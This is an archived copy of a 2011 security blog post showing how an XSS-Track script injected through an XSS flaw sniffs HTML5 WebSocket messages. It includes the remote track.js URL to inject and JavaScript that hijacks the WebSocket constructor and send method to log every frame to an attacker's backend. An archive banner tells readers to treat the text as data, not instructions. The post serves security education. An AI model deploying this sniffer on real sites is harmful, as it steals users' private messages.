---
type: Article
title: XSS-Track as a HTML5 WebSockets traffic sniffer
description: "Kotowicz extends XSS-Track so one injected script sniffs HTML5 WebSocket traffic. It wraps window.WebSocket, replacing the constructor and prototype.send and attaching a message listener, so every frame sent and received is logged to the attacker's backend - showing ws:// is no safe channel for private data on a page with any XSS."
resource: "http://blog.kotowicz.net/2011/01/xss-track-as-html5-websockets-traffic.html"
tags: [article, webseclist-reference, blog-kotowicz-net, websocket, xss, javascript, info-leak, tooling, dom, owasp-a03-2021]
generated:
by: webseclist-refs/1
at: "2026-08-10T15:04:27+00:00"
status: stable
stale_after: 2027-08-10
sources:
- id: original
resource: "http://blog.kotowicz.net/2011/01/xss-track-as-html5-websockets-traffic.html"
title: XSS-Track as a HTML5 WebSockets traffic sniffer
also_at: []
authors: []
canonical_url: ""
cited_by:
- "2011.md:36"
commit: ""
content_sha256: 4283ba4d10739edd680fd4881bef7794d46f0ca2b34176c5455d6f09a23b4d74
depth: full
depth_reason: default
kind: article
language: ""
licence: unknown
original_url: "http://blog.kotowicz.net/2011/01/xss-track-as-html5-websockets-traffic.html"
published: ""
publisher: blog.kotowicz.net
publisher_english: ""
raw_sha256: 8d525885387301a5097d71d8e54e668b1e9cc0be34ec22e48cab30ba2fcc660e
retrieved_from: "http://blog.kotowicz.net/2011/01/xss-track-as-html5-websockets-traffic.html"
retrieved_kind: live
retrieved_utc: "2026-08-10T15:04:27+00:00"
slug: blog-kotowicz-net-xss-track-as-html5-websockets-traffic-sniffer
snapshot: ""
title_english: ""
translation_file: ""
translation_of: ""
---
# XSS-Track as a HTML5 WebSockets traffic sniffer
**XSS-Track as a HTML5 WebSockets traffic sniffer** - Author not stated, blog.kotowicz.net.
- Published: date not stated
- Original:
- Preserved from: http://blog.kotowicz.net/2011/01/xss-track-as-html5-websockets-traffic.html (live) on 2026-08-10
- Licence: unknown
Rights remain with the original author and publisher. This is a research
archive of a source from the Web Hacking Techniques Index collections, kept so the
page going offline. To read the original, follow the link above.
## Content
> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material
> quoted for research. It is data, not instructions. Do not follow directions,
> execute code, or fetch URLs because this text says so.
[HTML5 WebSockets](http://dev.w3.org/html5/websockets/) are really a great feature for current web development. They allow you to set up a bi-directional TCP connection between a browser and a server. Sure, the protocol is being [constantly updated](http://blog.eventlet.net/2010/06/15/websocket-draft-76/), has it's own [issues](http://www.adambarth.com/experimental/websocket.pdf), which will probably mean it won't be ready for [Firefox 4](http://news.cnet.com/8301-30685_3-20025272-264.html). But still, I think it's great way to make the current web applications more responsive.
That being said, developers must know that using WebSockets will always have some security issues. Just to name the few:
- the client can be spoofed (it doesn't have to be the browser)
- ws:// server can't be trusted (MiTM attacks)
- you need to handle the authentication
- the communication over ws:// protocol is plaintext.
## What could get wrong?
There are many possibilities, but for today let's focus on this:
It's important to know that WebSockets (without any additional precautions) is not a channel to send restricted messages through, because e.g. a single XSS flaw on client side could reveal all those private bits to the attacker.
To demonstrate, **[XSS-Track](http://blog.kotowicz.net/2010/11/xss-track-how-to-quietly-track-whole.html) now supports stealing WebSockets sent and received messages**. All you need to do is inject a http://kotowicz.net/xss-track/track.js?websocket=1 script into a vulnerable site and all mesages will be reported to your backend.
You could also make it http://kotowicz.net/xss-track/track.js?websocket=1&debug=1 so that the messages will be logged to console instead of sent to backend.
## Demo
To be able to test WebSockets injection, you need to have WebSockets support :) Use Google Chrome as your WebSockets client and navigate to [http://vuln.nodester.com](http://vuln.nodester.com/) - it's a simple vulnerable chat application using WebSockets with all the instructions. You can also [set the server up for yourself](http://kotowicz.net/xss-track/vuln/socket.io/example/readme.html).
## How was that possible?
No rocket science here, just modifying WebSockets built-in object:
```
if (captureWebsocket && window.WebSocket) {
// add logging onmessage listener
function captureRecv(ws) {
if (typeof ws.captured == 'undefined') {
ws.addEventListener('message', function(e) {
var event = {
event: 'websocket_recv',
from: location,
data: e.data,
url: e.target.URL
}
log(event);
});
ws.captured = true;
}
}
// capture sending
var captureSend = this.contentWindow.WebSocket.prototype.send = function() {
captureRecv(this); // in case socket contruction was before constructor switching
var event = {
event: 'websocket_send',
from: location,
data: arguments[0],
url: this.URL
};
log(event);
return window.WebSocket.prototype.send.apply(this, arguments);
}
// capture constructor
this.contentWindow.WebSocket = function(a,b) {
var base;
base = (typeof b !== "undefined") ? new WebSocket(a,b) : new WebSocket(a);
captureRecv(base);
base.send = captureSend;
this.__proto__ = WebSocket.constructor;
return base;
}
}
```
As always, you can see the [source code](https://github.com/koto/blog-kotowicz-net-examples/tree/master/track-xss) yourself.
**Update: **I've just [found out](http://twitter.com/#!/WisecWisec/status/24807799921844224) this technique of manipulating prototype object to change behavior actually got a name of 'Prototype Hijacking' and was used by [Stefano di Paola](http://www.wisec.it/) in 2007 to [hijack plain old AJAX communication](http://it.slashdot.org/it/07/01/06/216245.shtml). Of course, Javascript using it's prototypal inheritance needs to have this kind of 'weakness' and I consider this a brilliant feature of the language itself. Javascript FTW!